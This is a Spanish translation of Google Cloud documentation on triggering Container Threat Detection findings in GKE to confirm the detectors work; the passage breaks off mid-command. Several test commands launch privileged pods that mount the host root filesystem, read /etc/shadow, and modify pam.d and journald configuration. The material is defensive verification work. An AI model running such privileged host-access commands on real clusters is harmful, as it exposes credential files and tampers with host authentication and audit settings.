Esta página se ha traducido con Cloud Translation API.

Probar Container Threat Detection

En esta página se explica cómo verificar que Container Threat Detection funciona activando intencionadamente detectores y comprobando si se han encontrado resultados. Container Threat Detection es un servicio integrado de los niveles Premium y Enterprise de Security Command Center. Para ver los resultados de Container Threat Detection, debe habilitarse en la configuración de Servicios de Security Command Center.

Antes de empezar

Para detectar posibles amenazas en tus contenedores, debes asegurarte de que tus clústeres tengan una versión compatible de Google Kubernetes Engine (GKE). Para obtener más información, consulta Usar una versión compatible de GKE. Si quieres probar la detección de amenazas en ARM, necesitas un clúster con un grupo de nodos que contenga instancias de ARM. Para obtener más información, consulta Cargas de trabajo de Arm en GKE.

Habilitar detectores

Los siguientes detectores están inhabilitados de forma predeterminada:

Added Binary Executed
Added Library Loaded
Collection: Pam.d Modification (Vista previa)
Credential Access: Access Sensitive Files on Nodes (Vista previa)
Credential Access: Find Google Cloud Credentials
Defense Evasion: Disable or modify Linux audit system (Vista previa)
Defense Evasion: Launch Code Compiler Tool In Container
Defense Evasion: Root Certificate Installed (Vista previa)
Execution: Program Run with Disallowed HTTP Proxy Env
Execution: Suspicious Cron Modification (Vista previa)
Exfiltration: Launch Remote File Copy Tools in Container
Persistence: Modify ld.so.preload (Vista previa)

Para probar estos detectores, deben habilitarse explícitamente.

Primero, comprueba el estado de todos los detectores:

   export PROJECT=PROJECT_ID
   gcloud alpha scc settings services describe \
       --service=CONTAINER_THREAT_DETECTION \
       --project=${PROJECT}

Para habilitar un detector específico, usa el comando correspondiente que aparece a continuación:

Habilita el detector Added Binary Executed:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Habilita el detector Added Library Loaded:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Habilita el detector Collection: Pam.d Modification (Vista previa):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PAM_D_MODIFICATION \
    --project=${PROJECT}

Habilita el detector Credential Access: Access Sensitive Files on Nodes (Vista previa):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ACCESS_SENSITIVE_FILES_ON_NODES \
    --project=${PROJECT}

Habilita el detector Credential Access: Find Google Cloud Credentials:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Habilita el detector Defense Evasion: Disable or modify Linux audit system (Vista previa):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=DISABLE_OR_MODIFY_LINUX_AUDIT_SYSTEM \
    --project=${PROJECT}

Habilita el detector Defense Evasion: Launch Code Compiler Tool In Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Habilita el detector Defense Evasion: Root Certificate Installed (Vista previa):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ROOT_CERTIFICATE_INSTALLED \
    --project=${PROJECT}

Habilita el detector Execution: Program Run with Disallowed HTTP Proxy Env:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Habilita el detector Execution: Suspicious Cron Modification (Vista previa):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=SUSPICIOUS_CRON_MODIFICATION \
    --project=${PROJECT}

Habilita el detector Exfiltration: Launch Remote File Copy Tools in Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Habilita el detector Persistence: Modify ld.so.preload (Vista previa):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=MODIFY_LD_SO_PRELOAD \
    --project=${PROJECT}

Establece variables de entorno:

Para probar los detectores, usa la consola Google Cloud y Cloud Shell. Puedes definir variables de entorno en Cloud Shell para que sea más fácil ejecutar comandos. Las siguientes variables se usan para probar todos los detectores de Container Threat Detection.

Ve a la Google Cloud consola.

Ir a la Google Cloud consola
Selecciona el proyecto que contenga el contenedor que quieras usar para hacer pruebas.
Haz clic en Activar Cloud Shell.
En Cloud Shell, define las variables de entorno.
1. La zona en la que se encuentra tu clúster:
```
export ZONE=CLUSTER_ZONE
```
2. El proyecto en el que se encuentra tu contenedor:
```
export PROJECT=PROJECT_ID
```
3. Nombre del clúster:
```
export CLUSTER_NAME=CLUSTER_NAME
```

Las variables se han definido. En las siguientes secciones se incluyen instrucciones para probar los detectores de Container Threat Detection.

Ejecución del binario añadido

Para activar un hallazgo de Ejecución del binario añadido, coloca un archivo binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 24.04, se copia /bin/ls a otra ubicación y, a continuación, se ejecuta. La ejecución del archivo binario es inesperada porque la copia del archivo binario no formaba parte de la imagen de contenedor original, aunque esa imagen esté en Ubuntu 24.04 y los contenedores deban ser inmutables.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta un archivo binario y ejecútalo:

Nodo x86:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Nodo ARM:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Este procedimiento de prueba debería crear un resultado de tipo "Se ha ejecutado un archivo binario añadido" que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro de Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando crea un contenedor por primera vez, Detección de amenazas de contenedores filtra temporalmente las detecciones de binarios añadidos ejecutados. Para ver todos los resultados de Added Binary Executed mientras se configura un contenedor, añade el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Carga de la biblioteca añadida

Para activar un hallazgo de biblioteca cargada añadida, coloca una biblioteca en tu contenedor y, a continuación, cárgala. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04, se copia /lib/x86_64-linux-gnu/libc.so.6 a otra ubicación y, a continuación, se carga con ld. La biblioteca cargada es inesperada porque la copia de la biblioteca no formaba parte de la imagen de contenedor original, aunque esa imagen esté en Ubuntu 24.04 y los contenedores estén diseñados para ser inmutables.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Suelta una biblioteca y usa ld para cargarla:

Nodo x86:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Nodo ARM:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Este procedimiento de prueba debería crear un resultado de tipo Added Library Loaded que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para la detección de amenazas en contenedores. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Para reducir el ruido, cuando crea un contenedor por primera vez, Detección de amenazas de contenedores filtra temporalmente las detecciones de bibliotecas añadidas cargadas. Para ver todos los resultados de Added Library Loaded mientras se configura un contenedor, añade el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Colección: modificación de Pam.d (vista previa)

Para activar la detección de modificaciones de pam.d, modifica uno de los archivos relacionados con PAM del host. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04, se monta el sistema de archivos raíz del host en el contenedor y, a continuación, se modifica /etc/pam.d/sshd.

Se trata de un detector de monitorización de archivos y tiene requisitos específicos de la versión de GKE.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario que modifique uno de los archivos relacionados con PAM en el host.

Nodo x86:

tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Este procedimiento de prueba activa un resultado de modificación de pam.d que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Comando y control: se ha detectado una herramienta de esteganografía

Para activar una detección de Command and Control: Steganography Tool Detected (Vista previa), se debe ejecutar un archivo binario con funciones de manipulación de archivos coherentes con las herramientas de esteganografía en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a steghide (u otra herramienta de esteganografía, como stegano). Este comportamiento se marca como sospechoso porque puede indicar un intento de preparar un contenedor para ocultar o extraer datos, posiblemente con fines maliciosos.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de una herramienta de esteganografía, como steghide:

Nodo x86:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Nodo ARM:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Este procedimiento de prueba crea un resultado Command and Control: Steganography Tool Detected que puedes ver en Security Command Center y en Cloud Logging si has configurado el registro para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Acceso a credenciales: acceder a archivos sensibles en nodos (vista previa)

Para activar una detección de acceso a archivos sensibles, lee el archivo /etc/shadow del host. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04, se monta el sistema de archivos raíz del host en el contenedor y, a continuación, se lee /etc/shadow mediante cat.

Se trata de un detector de monitorización de archivos y tiene requisitos específicos de la versión de GKE.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario que lea el archivo /etc/shadow del host.

Nodo x86:

tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Este procedimiento de prueba activa un resultado de acceso a archivo sensible que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Acceso a credenciales: buscar Google Cloud credenciales

Para activar una detección de Credential Access: Find Google Cloud Credentials, se debe ejecutar un archivo binario capaz de buscar contenido de archivos en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a grep. A continuación, se ejecuta el archivo binario con argumentos que especifican un patrón de búsqueda indicativo de un tipo de Google Cloud credenciales. Esta acción se ha marcado como sospechosa porque imita el comportamiento observado al intentar localizar las credenciales de Google Cloud .

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Nodo ARM:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Este procedimiento de prueba debería crear un Credential Access: Find Google Cloud Credentialsresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center.

Acceso a credenciales: reconocimiento de claves GPG

Para activar una detección de Credential Access: GPG Key Reconnaissance, se debe ejecutar un archivo binario capaz de buscar contenido de archivos en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a find (u otra utilidad de búsqueda adecuada, como grep). A continuación, se ejecuta el archivo binario con argumentos que especifican un patrón de búsqueda indicativo de claves privadas o contraseñas, o patrones de contenido que sugieren contraseñas o secretos. Esta acción se ha marcado como sospechosa porque imita el comportamiento observado al intentar localizar claves de seguridad GPG.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Nodo ARM:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Este procedimiento de prueba debería crear un Credential Access: GPG Key Reconnaissanceresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Acceso a credenciales: buscar claves privadas o contraseñas

Para activar una detección de Credential Access: Search Private Keys or Passwords, se debe ejecutar un archivo binario capaz de buscar contenido de archivos en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a find (u otra utilidad de búsqueda adecuada, como grep). A continuación, se ejecuta el archivo binario con argumentos que especifican un patrón de búsqueda indicativo de claves privadas o contraseñas, o patrones de contenido que sugieren contraseñas o secretos. Esta acción se ha marcado como sospechosa porque imita el comportamiento observado al intentar localizar información sensible, como claves privadas o contraseñas, en un entorno contenedorizado.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Nodo ARM:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Este procedimiento de prueba debería crear un resultado de Credential Access: Search Private Keys or Passwords que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensas: líneas de comandos de archivos ELF en Base64

Para activar una detección de Defense Evasion: Base64 ELF File Command Line, un proceso debe tener base64 como argumento y f0VMRgIB como argumento, que es la forma codificada en base64 de ELF. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. A continuación, se ejecuta base64 con los argumentos -d y f0VMRgIB. Esta acción se ha marcado como sospechosa porque imita el comportamiento observado al intentar decodificar datos binarios para ejecutar código malicioso.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Nodo ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Este procedimiento de prueba debería crear dos Defense Evasion: Base64 ELF File Command Lineresultados que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center. Se crean dos resultados porque tanto el comando bash -c inicial como la ejecución del comando base64 -d cumplen los criterios de los resultados.

Evasión de defensas: se ha ejecutado un script de Python codificado en Base64

Para activar una búsqueda de Defense Evasion: Base64 Encoded Python Script Executed, un proceso debe tener echo o base64 como argumento y aW1wb3J0IH como argumento, que es la forma codificada en base64 de python -c. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. echo se ejecuta con el argumento aW1wb3J0IH. Esta acción se ha marcado como sospechosa porque imita el comportamiento observado al intentar decodificar datos binarios para ejecutar código malicioso.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Nodo ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Este procedimiento de prueba debería crear un Defense Evasion: Base64 Encoded Python Script Executedresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensas: se ha ejecutado un script de shell codificado en Base64

Para activar una búsqueda de Defense Evasion: Base64 Encoded Shell Script Executed, un proceso debe tener echo o base64 como argumento y IyEvYmluL2Jhc2gK como argumento, que es la forma codificada en base64 de #!/bin/bash. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. echo se ejecuta con el argumento IyEvYmluL2Jhc2gK. Esta acción se ha marcado como sospechosa porque imita el comportamiento observado al intentar decodificar datos binarios para ejecutar código malicioso.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario de la herramienta de búsqueda, como find, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Nodo ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Este procedimiento de prueba debería crear un Defense Evasion: Base64 Encoded Shell Script Executedresultado que puedes ver en Security Command Center y en Cloud Logging si has configurado Logging para Container Threat Detection. Solo puedes ver los resultados en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Evasión de defensas: inhabilitar o modificar el sistema de auditoría de Linux (vista previa)

Para activar una detección de modificación de auditoría de Linux, inhabilita o modifica uno de los archivos de configuración relacionados con la auditoría del host. En este ejemplo se implementa la imagen más reciente de Ubuntu 24.04, se monta el sistema de archivos raíz del host en el contenedor y, a continuación, se modifica /etc/systemd/journald.conf.

Se trata de un detector de monitorización de archivos y tiene requisitos específicos de la versión de GKE.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario que modifique uno de los archivos de configuración relacionados con la auditoría del host, como /etc/systemd/journald.conf.

Nodo x86:

tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Este procedimiento de prueba activa un Disable or Modify Linux Audit System resultado que puedes ver en Security Command Center y, si has configurado el registro de Container Threat Detection, en Cloud Logging. Solo puede ver los resultados en Cloud Logging si activa el nivel Premium o Enterprise de Security Command Center a nivel de organización.

Evasión de defensas: lanzar la herramienta de compilación de código en un contenedor

Para activar una detección de Defense Evasion: Launch Code Compiler Tool In Container (Vista previa), una herramienta de compilación de código debe ejecutarse en un contenedor. En este ejemplo se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y le cambia el nombre a gcc10 (u otro compilador, como clang). Este comportamiento se marca como sospechoso porque puede indicar un intento de compilar y ejecutar código malicioso en el contenedor para evitar la detección o modificar su comportamiento.

Define variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Ejecuta un archivo binario del compilador, como gcc10, con los argumentos adecuados:

Nodo x86:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Nodo ARM:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
